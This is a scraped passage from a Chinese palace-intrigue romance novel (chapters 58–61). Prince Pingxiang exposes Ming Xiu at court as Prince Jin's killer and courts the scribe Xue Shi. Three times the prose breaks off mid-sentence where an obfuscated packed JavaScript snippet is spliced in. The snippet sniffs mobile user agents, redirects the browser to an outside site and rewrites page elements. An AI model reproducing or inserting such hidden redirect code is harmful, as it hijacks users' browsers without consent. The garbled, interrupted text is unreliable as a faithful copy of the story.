薛适虽不明白他为何会这样问,但心里的答案却清明:“会。”她笑了笑,若水眸光好像轻而易举地就能将他眼中某种喷薄的火焰灌灭。 “不是说好要一起回家吗。而且王爷喝了许多酒,我想陪在王爷身边。” 江执神色未变,声音依旧沉压:“没有喝酒的人,若是距饮了酒的人太近,会受不了酒味。” 意思是,不信她会想要陪在喝酒的他身边这种说辞。 可能酒喝多的人……心思都会有些敏感? 薛适耐心道:“王爷之前扮五公主的时候,也没有嫌弃我两次沾染酒气呀。” 一次是在他的生辰宴后,她喝醉了口无遮拦地叫他“阿姐”;一次是她陪着阿雅借酒消愁后,他嘴上嫌弃,却一步步走近,将落下的海棠簪在她的发上。 这几日她问过沈盈袖该如何传递心意,话本子上教的内容说,对于喜欢的人先不要太急切,以免对方觉得冒犯,可以慢慢做些关心对方的事,不知不觉讲出自己的想法,一点点让对方察觉,你对他是不同的。 于是,她做了醒酒的橘皮茶,自然又隐秘。 然后此刻—— 她在他无形的禁锢下,大着胆子慢慢踮起脚,鼻尖停在他的唇前。 很轻很轻的吸气后,她仰头看着他,眸光染笑清亮,“而且,没有不好闻。” 58. 瑾晖 马车已驶离春水河,但女子身上清雅的墨香混和着她独有的温甜气息,像是绽于鼻端的茉莉花,缭绕不散。 江执手捏玉兰瓷杯,橙色的橘皮荡在水中悠悠转转,他的目光落在上面愈显幽深,像是看到了水光所映照的脑中画面,回溯至方才,再次临现—— 薛适的鼻尖、唇瓣距他咫尺,仰头望着他,笑靥灿然的模样,令他下意识就收紧了扶在她腰间的手,将她拽得更近,目光也不自觉地被牵系着缓缓下移。 可她的眼神太过干净澄澈,引人深醉眷恋,却也更叫人清醒地止下所有举动,唯恐浑浊她的皎洁。 好在,他确定了一件事。 她并不排斥他的触碰。 虽然仔细想来,他们不是第一次靠得这么近,但之前都夹杂着或哀或痛的情绪,是无意识间,发自本能的慰藉。 因而像今夜这样,藏了渴望和刻意心思的,是头一遭。 江执将茶水一饮而尽,垂眸把玩着茶杯,唇边弧度一点点掀起。 他想,就算薛适真的喜欢二哥,对二哥念念不忘…… 他也不会放弃。 直到她喜欢上他的那一天。 - 宴会一结束,明修就匆匆去了宰相府,将今晚发生的事和自己对江执身份的猜测说了一通。 明文昌一向平静的神色也在蹙眉横目间渐渐撕扯出裂痕。 “这样说来,十五年前死的极有可能是真正的五公主,而太子假扮成五公主活了下来。 我原本以为,先帝在遗诏上写明将皇位传给江岑许,只因她是许皇后的女儿。如今看来,倒像是先帝早就知道真相,所以才放心将皇位传给所谓的‘五公主’。” 当年,他虽让人毒害太子将其伪装成病逝,却未纵火。所谓的殿中意外走水,应是活下来的太子自己使出的把戏。不仅能让他难以确认尸身,无法知晓死去之人的身份,又能以毁容为由戴上面具,至此金蝉脱壳,彻底成为五公主立于世间。 明文昌没想到,自己活了这么多年,竟早早就被一个七岁小儿蒙骗了去。直到这七岁小儿长大后,甚至接连换了两重身份,才叫他反过来察觉。 不过…… “修儿,你也无需担心。”明文昌慢慢舒展眉宇,又恢复了平日的镇静模样,“即便他是前太子,但现在根本无人能够证明他的身份。 所以,他只能是平襄王。 至于你说的歌舞戏,不管平襄王的目的何在,你现在最需做的,是加紧去趟扬州,细细检查当年杀害二皇子的所有细节,万不可粗心遗漏任何细微之处,一经发现速速弥补。 如此,即便平襄王对此事再心知肚明,但若是拿不出证据,他无论想要如何装神弄鬼,也难以将你定罪,不过是自我出气、唬唬人罢了。” 既然双方都清楚彼此做过的事,那就看看谁能站到最后,手握难以辩言的确凿证据,将一切摆到明面,碾压得对方再不能喘息反抗,将所有真相,抖落到天下人面前。 - 从宰相府出来,明修顿觉轻松不少,也不像先前那般惴惴不安了。 是他把情况想得太糟,眼下知道自己接下来该做什么,心中只觉分外踏实。 恰好元正给假七日,从腊月二十八一直休到正月初四,他可以趁此去趟扬州。 此行明修将能想到的所有细节都进行了详尽的检查,不够周密的地方又更进一步地做了伪造填补,比如当时去扬州拟定的假身份、所住客栈的登记名簿、去往见南山的路线…… 确保万无一失后,才放心回京。 正月初五,照常上朝。 江抒先是向众朝臣道了几句新岁问候,然后看向与明文昌一同站在最前的江执,略显急切道:“听闻平襄王已掌握了充分证据,能够证明当年杀害瑾王之人并非寂晖公主,而是另有其人。故,朕今日特在朝上问明,有爱卿们看着,也更能助朕彻底了结此事。” 此话一出,满朝哗然。 虽然早在明修夫人的生辰宴,那出意有所指的歌舞戏已经引得众人对五公主杀害二皇子之事议论纷纷、浮想联翩,但谁也无法仅凭歌舞戏中,伶人惟妙惟肖地阐明近似出自五公主之口的冤言,就断定五公主并非杀害二皇子之人。 只是,让众人更加没有想到的是,不过元正假日才过,这场歌舞戏就成了真,相关证据竟掌握在平襄王手中,还这么快就传到了皇上跟前。 明文昌和明修亦是始料未及。 明文昌不动声色开口,自然而然的模样,好似只是随口提出心中疑惑般:“平襄王真是勤勉笃行,浩气凛然。回京不过数日,竟就关注到了寂晖公主生前杀害瑾王之事,令老夫佩服。” 江执挑了挑眉,未等开口,江抒先一步道:“是朕的意思。 平襄王刚回京,就对小五因薛待诏伪造遗诏被送去关塞和亲一事仗义执言。而朕此前一直让刑部派人去扬州彻查小五杀害二哥一案,各个都说就是小五所为,但所谓的服饰、面具一样,皆可被人伪装再嫁祸给小五,这样的证据并不算充分,不是吗?而朕亦不信小五会做出这样的事。 许是小五生前风评太差,让大家都对她心存偏见,所以朕才想请平襄王去调查此事。平襄王从未在京城待过,又心怀正义,应能为朕查出杀害二哥的真凶。 若非小五所为,万不可让小五在为大益和平付出性命之后,还要背上杀人的污名。 而朕,总要给死去的皇兄和皇妹各自一个公道。” 江抒这番话舍了二皇子和五公主的名号,直接以兄妹称呼,足见比起自己至高无上的皇位,他更看重亲情。 明文昌立即称是,他低着头,忽然意识到这个曾被他逼着登上皇位、厌恶权力争斗的外孙,已经不知不觉地成长为他未曾想到的模样。 他不再是肆无忌惮的主导一方,在他未留意到的地方,这个外孙已经瞒着他重用了自己看中的人。 江抒那般重视情谊,选择让平襄王来调查最在乎的二皇子之死一事,足以证明。 而这件事,在此之前估计满朝上下只有江抒和江执两人知晓。 兜兜转转,倒是兄弟连了心。 但此刻,即便他早已知晓平襄王就是五公主、也是曾经的前太子,却无法空口指明,也不能说太多,倒显得欲盖弥彰,只能被动地等待江执呈出证据、被动地将希望寄托在明修身上。 明文昌暗暗收紧了官袍袖中的手。 多少年没有如此被动的时候了,他若无其事地看向一旁不远处的江执,做出洗耳恭听的样子,却正好和江执对上视线。 极快的一瞬,明文昌只觉浑身寒凉,像是被滔天的恨意淹没,又被刹那冰封。 再想细细打量时,江执只是朝他挑了挑眼尾,笑容散漫而无谓,一副悠然自若的神情,却无声无息地彰显着他的胸有成竹。 “启禀皇上,臣首先查看了扬州官府对于瑾王一案的卷宗,虽当时扬州官府没有请仵作细细勘验,但卷宗明确记录着瑾王身上的伤口方向由下至上,右深左浅。” 江执淡淡环视众朝臣,最后将目光轻飘飘地扫在明修身上,好像只是偶然一瞥,但那一闪而过的深意却让明修脊背一寒。 江执掠过视线,朝江抒道:“所以杀害瑾王的人,一定惯用左手,才会留下这样的伤口。” 话音一落,朝臣惊呼成片,江抒神色凝重地看向刑部侍郎,刑部侍郎立即上前应道:“若卷宗记录属实,平襄王所述确实不错。” 众人都知道,寂晖公主惯用右手。 有朝臣了然道:“真凶虽模仿了寂晖公主的衣着打扮意图嫁祸,却忘记了惯用手不同这一关键。” “也是,自然而然的习惯往往最易忽略。” …… 明文昌脸色沉郁,有亲明家一派的朝臣注意到明文昌的神情,以为明相是不想让平襄王出尽风头,对江执道:“万一是寂晖公主太过慌张,没想太多就使了左手呢?” “一个人如果太过慌张,那定是大脑一片空白,只会依本能的第一反应做事,寂晖公主使非惯用手杀人,似乎并不符合吧?何况,卷宗还记录了‘出手果断、从伤口形状与力度可判断手法娴熟’这句。” 那朝臣见明文昌脸色更沉了,一闭眼,不死心又道:“那万一,寂晖公主左右手皆擅长呢?” 江执睨着他,良久,忽而笑了,直看得那朝臣头皮发麻,“你说话挺有意思啊,那么多万一?这世上所有事,只要在自己的想法前面加上万一,都有的说。 就比如我现在说——万一,你讲出这番话,是因为脑子不好呢?你觉得,我说的有道理么?” “我……” 江执根本不给他思索的机会,“你自己说了那么多万一,无非想给‘寂晖公主是凶手’这一结论生硬地加个理由。同样地也说明,根据伤口已无法完全认定寂晖公主是真凶。” 那朝臣在江抒不悦的神情中只好闭了嘴,看着明文昌越来越差的脸色,听江执继续道:“既已排除了寂晖公主的嫌疑,那当日,真正的凶手必是伪装好一切,尾随瑾王前去见南山。 而那段时间,瑾王忙着写离宫赋,常去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江执懒懒掀起眼皮,嘴角弧度玩味而讥讽,淡淡看向明修,“本王特地去沈府拜见了沈先生,大致说了下此事,不巧的是,沈先生那段时间和好友一起去蜀地游玩,从未去过扬州。我同沈先生说好后,前些日子,沈先生已特地前往蜀地将好友接到了京城,只等皇上随时传唤,配合查清此案。 如此看来,应是有人伪造了沈先生去往扬州的过所文书。而刚刚明侍郎又承认了自己为沈先生过所作保一事,也就是间接表明了沈先生去过扬州,这与事实相违背,明侍郎觉得呢?” “我……我只是说给自己的亲戚过所作保并无不妥,并没有说我为他作过保。” 明修的思绪渐渐凌乱起来,他打点过上上下下的守关人员,却没想到,江执会另辟蹊径,从沈鹤之入手。 明明他已将所有能想到的细节都竭力弥补了……为何还是会遗漏关键,给江执撕咬的机会? 明修的心境愈加慌措,江执的声音却越发沉稳,有条不紊地将他的解释一一击破。 “我找了守关人员,和他们说皇上尤为看重瑾王被害一案,若是他们早些承认自己受人之托,对过所文书动了手脚,我可以帮他们在皇上面前求求情。若是被我亲自查出来,按律当斩。 本来他们都坚持声称自己绝对公事公办,直到我说出明侍郎你的名讳,各个瞬间吓得不行,立即承认了你伪造过所文书的事。 我还说,也许过段时间你会去嘱托一番,比如给他们更多好处,又或威胁他们,软硬兼施,总之定是为了让他们守口如瓶。我以将功补过为条件,要求他们假意应允你的安排,这不,他们前天已传信于我,说明侍郎你,确实又去扬州找了他们。” 明修看着眼前那张风俊的脸,张扬恣肆,刺眼非常,心中更加堵恨。 他这几日的准备,费尽心思打点守关人员、弥补细节,原来都是江执早就筹划好的圈套,只待他跳入。 江执就是想耍他,就是想看着他像小丑一样奔向虚假的希望! “……是,我确实,伪造了过所文书,”明修咬牙,只得在确凿无疑的过所一事上做出妥协,“但这只能说明我违背律法出关,谈不上我有杀人嫌疑吧?” 江执没有回答,而是看向江抒:“皇上,臣有一事想问,明侍郎可是惯用左手?” 明修常跟在明文昌身边,江抒经常见到他,也算熟悉。 “是。” 对上江抒的视线,明修立马上前跪礼,言辞恳切:“皇上,臣冤枉!臣确实伪造了过所文书,因急于外出办事,来不及等到过所申请通过审核,这才出此下策。 至于惯用左手……是,我承认,可、这不能证明当初持刀杀害瑾王的就是我啊!” 江执毫不掩饰地轻笑了声,目光瞬间冷了下来,凉凉道:“明侍郎,本王好像从未说过,瑾王身上的伤,是出自刀吧?” 59. 追念 明修身子一僵,方才还振振有词的嘴巴骤然发麻,脑中也跳不出任何说辞,一时怔在了原地。 明文昌闭了闭眼,心知此局已败,而明修注定成为弃子。 今日紫宸殿上的情况,很快也传到了明茵殿中。 她温柔一笑,朝对面的薛适道:“看来平襄王那边进展得很顺利,接下来是不是该你去作证了?” 即便薛适已不再是书待诏,但这几年她依旧会常进宫,先是看一看以前翰林院的同僚们,再到明茵的殿中陪她说说话,讲一些宫外的新鲜事,带一些市井间的特色吃食。而明茵也会将他国进贡的稀奇玩意送给她,诸如薛适喜欢的孤本、砚台。 江抒虽坐上了皇位,但对薛适的亲近一如从前,每每知道她来,只要得空定会来蓬莱殿一起坐上一会儿。 “嗯。”薛适点头应着。 “上一次你去紫宸殿,还是在三年前。那时候,我看着你被江接的人带走,不知有多害怕。 那时候……他也在。” 奚玄被明文昌带走后一直生死未知,明茵时常会露出这般悲伤哀愁的神情。薛适起身,轻轻抱住了她,柔声安抚道:“娘娘别担心,现在一切都变好了。而且不是已经打听到奚公公的消息了吗,他还活着,就会有和娘娘相见的那一天。” …… 这边,大殿之上,江执已经拿出薛适先前递给他的那枚瑟瑟,将前因后果说了一通。 “大益传统,每逢中和节,皇上会给在京的大臣赐宴、赠刀。五年前中和节宴上,先帝曾赐给明侍郎一把金银钿装大刀,由京中名刀师打造,独一无二,特嘉奖明侍郎官绩出色。 而这枚瑟瑟就是出自此刀鞘柄,瑾王死前曾将其交于一个人。” 江抒:“传。” 只见门外渐渐走进一个清瘦高挑的身影,及腰的长发间只一根木色毛笔簪束,发尾系着简单的白色发带,温婉而典雅。但明亮的眼眸和唇边亲和的笑意,又添出灵动与生机。 有朝臣不确定道:“……薛待诏?” 三年前,薛适女扮男装被大皇子发现,为保命竟听其安排伪造五公主和亲遗诏的事闹得沸沸扬扬,朝中无人不知。 薛适弯唇见礼:“承蒙大人记得。” 她走于最前,跪地朝江抒拜礼:“草民叩见皇上。扬州时,草民曾于见南山茶楼见过瑾王最后一面。”她顿了顿,再度忆起那日画面,攥紧的手心一片冰凉,余光中,有人不动声色地走到她身边站定,阴影隐隐罩下,令她心神安宁,薛适一字一句开口,声音温和却坚定,“瑾王同我说,他并不信那时传出的母妃受寂晖公主母后牵连而逝的言论。他说,他相信寂晖公主,最后将这枚瑟瑟递到了我手中。” “皇上可遣人去见南山查证,当日二楼的人都看到了我去找过瑾王,即便他们难以听清我们说了什么、也无法看见瑾王秘密将瑟瑟交于我的瞬间,但见南山的掌柜知道我与瑾王交好,我们常去品茶,而皇上和各位大人也知道,寂晖公主同我关系很差,我没道理为了恨我的寂晖公主,在瑾王一事上帮她撒谎。” 薛适的一番话无疑进一步印证了江执先前所述。只是众人想不明白,明侍郎究竟为何胆敢杀害瑾王,若说仇杀,瑾王的性子根本就不会与人结仇啊。 明文昌疲惫地揉了揉眉心。 又是薛适,每一次薛适都会以他意想不到的方式插入进来,打乱他的棋局,虽然这次棋局本身已是漏洞百出。 他看了眼僵在原地,早不知该如何辩驳的明修,最后朝薛适问了句,“那你当日为何不同官府说清楚?也未交出关键证物?” “因为瑾王将瑟瑟给我时的举动很隐秘,似乎不想让人发现,自然包括那时的扬州官府。” 江抒看向许久未出声的明修:“明侍郎,这回你还有何想解释的?那把刀,全京城、甚至整个大益,都只你一人才有。朕记得五年前的春蒐上,你还执此刀进行过开场。” 明修平日携带的只是寻常的刀,只有在受明文昌命令杀人时才会换用金银钿装大刀,其刃锋利,因少有人见,也不会轻易联想到他身上。 只是他万万没想到,杀害瑾王这次竟会落下刀柄上的宝石,还被薛适交给了平襄王,顺势查出了金银钿装大刀。 江抒也没有耐心等明修再开口,直接让刑部的人将明修带了下去,待后续交由大理寺审理定罪。 这之后,江抒又说了春分祭祖的事宜。 江抒登基以来,特定春分为祭祖日,表达对先祖的尊崇与纪念。其中也藏了他的私心,因为可以在这一日什么都不去想、可以正大光明地思念着父皇。 退朝后,其他朝臣陆陆续续离开,江抒叫住了江执。 “平襄王也知道,明侍郎与朕的关系。所以朕想问问平襄王的建议,该如何处置明侍郎?” 江执听明白了江抒的意思。明修必死无疑,但江抒现在还想给明文昌面子,那便不好让明修死的太难看,他想到自己接下来的计划,有了主意:“以毒处死,如何?” “那就由你帮着大理寺一起将明修定罪处决吧。”江抒看着他,久违地露出真挚的笑容,像是回到了从前无忧无虑做四皇子的时候,“其实想让你着手调查二哥一案,还有一个原因是,我觉得你很像小五。” 江执一愣,但他知晓江抒的性情,哪怕现在做了皇帝、他们三年未见,江抒骨子里依旧是从前的模样,未被权力浸淫。 因而此刻江抒说起这些,他辨得清楚,并不是怀疑或质问,只是单纯地想要告诉他自己的想法。 江抒眸光闪了闪,此刻偌大恢弘的紫宸殿上,只有江执与他。许是因见到江执就产生的胜似血缘亲情的感受,又或者经过这段时间的观察,让江抒确定下来平襄王值得信任,所以在杀害江措的凶手终于明晰后,他第一次将藏了三年的话说出口,这是连母后都不曾知晓的。 “三年前,父皇病逝,关塞虎视眈眈,我本想找外祖商谈之后的事,却无意听到他和大哥的谈话,原来父皇为防变故,早就留下了传位遗诏,父皇将皇位传给了小五,而那封遗诏,被大哥一怒之下毁了。后来的事,大哥谋反,关塞挥兵,二哥被害,小五和亲……一桩桩一件件来得突然,我想不明白,为什么好好的大益,突然变得动乱不安;曾经一起吵吵闹闹的兄妹,为何接连离去。现在,知道杀害二哥的人是明修后,我好像明白了……外祖是为了,让我成为唯一的皇位继承人。” 江抒虽不喜朝堂争斗,但并不笨。他知道外祖向来野心勃勃、拥护者众多。即便没有萧乘风搜集的关于江接的证据,外祖也会联合朝臣扳倒大哥,只是会稍迟一些。而小五继承皇位的事,大哥和外祖都知晓,定会将她除之而后快。现在想来,若不是薛适那封恰到好处的和亲遗诏,小五恐怕死得更早。而二哥……明明被外祖叫明修杀害,却嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253540|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祸给了小五。 只有他,只有他……他一个人,安然无恙,什么都波及不到他,他什么也无需做,就可以登上皇位。 殿内安静无声,落针可闻,直到身旁的江执开口:“这些不是皇上的错。那些自以为是的蠢人将设定好的路强行铺在你脚下,让你不得不走。外人只见这条路鲜花满道,世间独有,你头戴花环,一路通途,但这些都不是皇上喜欢的,你也是受害者。” 江执离开的时候,江抒看着他远去的背影,默默出神了很久。 这一刻他忽然觉得,比起像小五,平襄王似乎更像已经离世多年的三哥。 - 江执从紫宸殿出来时,脚步只觉重千钧,脑中不断回旋着江抒的话—— “父皇为防变故,早就留下了传位遗诏,父皇将皇位传给了小五”。 他走出几步后,又回头看了眼紫宸殿。这一眼,他好像回到了儿时。 他常常跑来紫宸殿外等父皇下朝,有时是迫不及待地向父皇请教问题,他觉得太傅说得不对,想听听父皇的答案;有时是因为他学了新的招式,比如男子不常用的银针、软剑,急于向父皇展示它们的威力。 父皇总是乐呵呵地抱起他,笑说:“你小子真是勤勉,半刻也闲不住,为父都要自愧不如了。” “这一次不是。”小江执挑挑眉,神秘地从怀里掏出由他亲手做了好几天的核桃佛串,抑制地勾了勾唇,“父皇,生辰快乐。” …… 那日,江执在京中各坊走了很久。他看见荐福寺香火绵延,西市珍宝琳琅,长安城热闹依旧。 他没能如父皇所期,成为大益的皇帝,但他不曾忘记竭尽全力守护这片山河,以平襄王的身份。 不知不觉,他来到了平康坊,街巷喧闹更甚,耳边的语笑欢声似自成一个世界。 他下意识走向薛适曾摆摊的位置,入眼空荡时才反应过来,薛适如今已经去通化坊摆摊了。 刚要转身离开,他听见附近的青楼外,几个楼中女子趁着客人未至的间隙,靠在一起聊天。 “几年前,咱们云雀楼的生意可比现在还要好。” “嗯?我觉得现在已经很红火了,没想到竟不若从前?” “那时候,有个小姑娘在咱们附近摆摊,替人代笔书写心意,我还找过她代写香笺呢。那小姑娘一个人离家来长安,着男子装扮,但笑盈盈的温糯模样,我一瞧便知是女子。不少客人进来前都要去她摊前代写几篇诗文,好哄楼里的姑娘们开心,将他们伺候得更舒服。” “为何现在那姑娘不来咱们云雀楼外摆摊了呢,她也能赚更多银子。” 被问的女子笑了笑,她也曾问过同样的问题,在三年前这样的冬日。 那时候,小姑娘已没有从前那般爱笑,但依旧不吝啬露出笑容表达善意:“菱娘,我搬去通化坊啦,就在都亭驿对面摆摊。虽然不如在平康坊赚钱,但……我想等一个离京的人回来,在都亭驿对面,我可以第一时间知晓。我想弥补他,解除误会,求得原谅。” 菱娘眼看着小姑娘的目光一点点淡下去,复又亮起,装作若无其事的模样看着她,“我走啦,你和楼里的姑娘们若是有需要,随时可以去通化坊找我代笔,定会少收你们银子的。” 站在不远处的江执,和好奇等着答案的其他云雀楼女子,听见菱娘回答说:“许是别处,有她思慕的人。” 60. 显露 蓦然间,江执想起他和薛适在扬州听的那场口技。 因人潮拥挤,他们没能听到最后的结局,但薛适觉得,美娇娘大仇得报却未归家,而是一直留在和郎君相知相遇的地方,等郎君从狱中出来,弥补自己曾经的欺瞒与错怪,好求得原谅—— 是因为那位姑娘,慕恋她的郎君。 那时候,他并不十分赞同薛适的想法。他觉得美娇娘无需求得原谅,郎君知晓自己有错,哪怕错不至入狱,也会理解美娇娘为父报仇的心情,他不会怪她,也愿意承担她的悲伤与怒火。 菱娘的一句话,让江执不由得将别人的故事与自己的联系起来。 在薛适心中,如果喜欢意味着愿意等待,那么他对她来说……是否确实不同呢。 江执没再待下去,登马直往通化坊。 - 薛适从大明宫出来再去摊前,相较于平时已迟了好一会儿,徐砚和沈盈袖便帮她先招呼着客人。好在早上一般来人不多,薛适走近只看见一个姑娘站在摊桌前,但背影却很熟悉。 “宣凝郡主?” 那姑娘转身看着薛适,嘟起唇似有不满:“你说说,你都多久没来找我了。”她掰掰手指头,想了会儿更气了,“从平襄王回京后,你就没有来过了!” 宣凝郡主是在前年年末,去都亭驿接离京办事的安亲王回来时,恰好看到薛适在通化坊摆摊。她眼一红,抱着薛适就开始呜呜哭着,嘴里的话断断续续,“你……你还活着,真是太好了……” 恍惚间,薛适觉得这副场景似在梦中见过,她心中一暖,连忙安抚着宣凝郡主。 这一见,薛适得空时都会应宣凝郡主之邀,有时是去王府教她制纸,有时是一起走街串坊闲逛。 徐砚和沈盈袖见两人相熟,不禁好奇:怎么郡主啊、王爷啊,薛适都认识呢。 这边,薛适不好意思地摸摸发带:“最近有些忙,一直没能去找你,抱歉呀郡主。改日我定停一天摊去王府找你,郡主想去哪、想玩什么我都陪你。” 听了这话,宣凝郡主忽然弯起唇,方才的不满全然不见,狡黠一笑:“逗你的啦。其实我今日来,是有事想要找你帮忙。就……皇上不是赐婚我和乘风哥哥了嘛,”她越说脸越红,“我想绣一个鸳鸯香囊送给他。只是,单纯的香囊我觉得太普通了,不符合本郡主!所以想问问你,有没有适合绣在上面的诗句,又独特又能让他看到香囊就想起我……” 徐砚已经回了铺子,沈盈袖依然留在摊上,听到宣凝郡主的想法,漂亮的大眼睛不由瞪圆,亮晶晶地眨呀眨:“听起来很好诶!” “是吧是吧!” 于是,薛适就看见两人一同饱含期待地望着她。 “……”她无奈地干笑几声,“好,我帮你想想。” 江执到的时候,就看见被两人围在中间的薛适转着指间狼毫,笑吟吟道:“不如选用醉吟先生的这句‘凝为悠悠云,散作习习风’?既有郡主的名字又有萧世子的名字。萧世子才学匪浅,定会知晓。” “就这个就这个!”宣凝郡主笑着连连点头,满意得不行。 沈盈袖也赞道:“听着就很美,甚是相配。不过郡主,你的香囊可以绣下这么多字吗。” 沈盈袖这一问,宣凝郡主才意识到自己忘记考虑绣工了,“是诶。就算香囊可以绣得下,以我拙劣的绣工,也难以绣好这么多字……” 见宣凝郡主忽然失落下去,沈盈袖顿时手忙脚乱起来,都怪她说错话,破坏了郡主的好心情,但又不知该说什么,薛适安抚地拍拍她的手背,示意她没关系,然后对宣凝郡主道:“那就只绣两个字,‘凝风’。若世子问起何意,郡主就告诉他完整的诗句。” 沈盈袖立即道:“刚好是郡主和世子的名字,又组成了全新的词!” …… 最后,宣凝郡主喜笑颜开地和薛适与沈盈袖道过别,急匆匆地回家准备绣香囊了。 薛适问过沈盈袖她父亲沈鹤之和蜀地友人的情况,听到有刑部和大理寺的人保护他们作证,暗暗放下心。 江执让随行的东朔先回去训练不忌军,自己则系好马,坐在薛适对面不远处的茶楼外。 冬日朔风刺骨,江执却一直坐在外面的茶棚,喝了一天的茶。 他遥遥看着对面或坐或动的人,看着她时而思索时而微笑的神色,看着不忌军训练得空时依旧会习惯性地过来找她,送一些他们自己留着训练过后充饥的零嘴,手上不断摩挲腰间系着的香袋,妃色暖艳,像是能生出滚烫,无形熨帖着掌心。 江执想到在关塞的时候,因风沙大,他每晚都会将香袋卸下,里里外外清洗干净。某一次他才发现,原来内衬的最里,竟绣了字。 执笔……是什么意思呢。 他想过或许是薛适的个人习惯;或许是希望他能像她教过的,在不开心的时候、无聊的时候、想事情的时候,转一转笔…… 但今日,听到薛适为宣凝选的送予萧乘风的香囊上所绣的词语时,他再度想起“执笔”,忽然觉得真正的意思,应该是他的名,和她最喜欢的东西,一同组成了她最擅长的事。 就好像—— 他也挺让她喜欢的。 而他,想要自作多情一回。 今日客人不算多,见薛适打算提早收摊,江执付过茶水钱后几步走到薛适摊前。 “王爷?” 薛适没想到这么巧,她刚准备收摊江执就过来接她了,“今日怎么来得这般早呐。对了,先前忘记和王爷说,我的手已经完全好啦。”她举起双手,弯了弯十指朝江执示意,自己也垂眸左右看着,有些像伸出爪子慵懒晒太阳的小猫。 “那就一起逛逛吧。” 江执握住她的手,薛适还未反应过来,就已被拉着翻身上马,直往长安城最有名的成衣铺而去。 “皇上不是赐婚宣凝和乘风了吗?他日日在我耳边嚷嚷,让我早点给他准备新婚贺礼。我嫌他太烦,准备直接给宣凝送了,想让你帮忙挑挑合适的布料颜色和纹样,给宣凝做些衣裳当贺礼。” “好。” 马蹄声起,周遭景象在驰行中疾掠后移,天边橙红打翻,一点点染上落日的余霞,边缘处圈圈渐变,像是倒过来的橘色湖泊,翻滚流晃。 江执驭马向前,却渐渐皱下眉。若非薛适方才说话,他只觉身后像是无人坐在马上一般,感受不到丝毫碰触,就连腰间衣袍的布料,都未牵起指间些微的力度。 他驱马的速度稍快了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262148|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,冷不丁地一下,薛适不由惊呼了声,身体不受控制地向前,撞在他的背上。 “抱歉王爷!” “抓紧。”江执眉梢轻挑,勾了勾唇,未握缰绳的左手顺势向后捞起薛适的左手,按在自己腰上,面上却是故作平常地道,“这紫燕骝在关塞待久了,烈得很。” - 羽绣阁位于宜阳坊,是长安最大的成衣铺,共七层。且不说裁制的衣服与宫中司衣司相比谓有过之而无不及,但说楼阁建筑亦是雕栏玉砌,美轮美奂。 进入羽绣阁的人并不只有达官显贵,寻常人家遇上重要节日,也会来此定制衣服。羽绣阁会将各层所展衣裳标明银两,由客人根据负担情况自行前去合适的楼层。 薛适和江执进来时,一楼的伙计正在给一对夫妻推荐时兴的采衣,作为他们六岁女儿的生辰礼。 空闲的伙计看到他们进来,立即过来陪同,和气笑道:“两位想选什么样式的衣裳?” 薛适道:“送给朋友做新婚贺礼的衣裙,劳烦公子推荐一下,京中如今最时兴的款式。” “那两位不如随我一同上七楼?顶层所示的都是我们阁中最好的衣裳,作为新婚贺礼再合适不过。” 虽说是江执提出要给宣凝郡主送衣裙做贺礼,但薛适显然更上心些,一直跟在伙计身后,听着他细细讲解各式衣裙的颜色、纹样。 过了很久,江执看见伙计一手拿了一件,薛适也拿了一件,兴致勃勃地问道:“王……公子觉得哪个好?” “这个是桃烟绣荷罗裙,郡……小姐喜欢粉色,荷花烂漫,恰配她的性情,适合平日出游穿。” “牡丹镂金缎裙大气华贵,最适合参宴,引人瞩目且不失身份,能最大程度地彰显气质。” “最后这件百花栖碟曳地裙极有流动之美,穿上时若花绽蝶栖,配合曳地的设计,会衬得小姐清渺出尘,仙雅飘逸。虽不是她常穿的样式,但以小姐的容貌,穿起来亦会好看。” 薛适说完,一旁的伙计简直目瞪口呆,虽然意思一样,但这位姑娘直接把他说的“白粥咸菜”升华成了“山珍海味”,若是没来过羽绣阁的客人,大概会以为这姑娘才是阁里的人。 他本来也想争一下气的,但想了半天,最后到嘴边就变成了“是”、“对”,以及“没错”和“就是这样”。 江执的目光落在薛适描述最多、且亲手举着的那件百花栖碟曳地裙上,问她:“若是你,会喜欢这些衣裙么。” 他语速略有些快,半点停顿也无,紧接着就道,“宣凝和你的性情差的比较大,我想对比一下你们的喜好,免得买回去宣凝不喜,萧乘风又接着在我耳边嚷嚷。” 薛适笑了笑:“我没有什么特别的偏好,但公子放心,小姐肯定会喜欢的,我常和她一起闲逛,知晓她的喜好。” 江执没再说什么,只让薛适先去一楼歇息处坐一会儿,他随伙计敲定细节后付银两。 薛适走后,那伙计就听眼前的男子问他:“这些衣裙可以另选别的颜色和纹样么?” “可以的!公子放心,您只管吩咐,咱们阁里都能做。” “劳烦将桃烟绣荷罗裙换成碧波色,牡丹镂金改成芙蓉,百花栖碟曳地裙……不用变。” 61. 灼烫 两人从羽绣阁出来时,天色已经完全黑下,江执带着薛适去到城郊山脚的一家饭馆吃饭。 “还是第一次见大人带姑娘过来。”老板娘看到江执走进,连忙上前热情招呼着,“还是老几样吗?” “嗯。再加一碟毕罗和一坛温梨汤。” “好嘞。” 